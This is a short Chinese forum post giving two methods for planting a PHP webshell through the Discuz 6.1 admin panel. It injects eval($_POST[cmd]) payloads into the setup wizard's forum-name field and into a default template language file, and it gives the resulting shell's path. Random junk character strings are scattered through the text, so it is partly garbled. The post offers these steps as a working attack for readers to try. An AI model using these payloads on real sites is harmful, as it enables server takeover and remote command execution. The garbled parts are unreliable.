discuz6.1后台拿shell方法

admin

discuz6.1两种方法后台拿shell
$ w9 t; w+ f! W% `$ L好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
0 k3 F8 H. d: n  a7 |  H1:
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
$ ^! `. L+ j& J: `' D6 uadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
+ l8 U: V/ T' M$ x2 k, i/ n<?php eval($_POST[cmd]);?>
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
) J4 q' n0 D2 D& {$ a# Z

9 [/ p3 t7 H4 @5 J2:后台模板管理--默认模板套系--详情
+ \" a+ }/ N- N' C3 ftemplates/default/actions.lang.php
6 m7 ]2 f2 `6 fjhackj\\');eval($_POST[cmd])?>;//
1 \5 |, u4 m4 t. X5 k  a
+ E, p9 Z3 K$ v7 f% n" m+ h利用很简单,聪明的人一看就懂了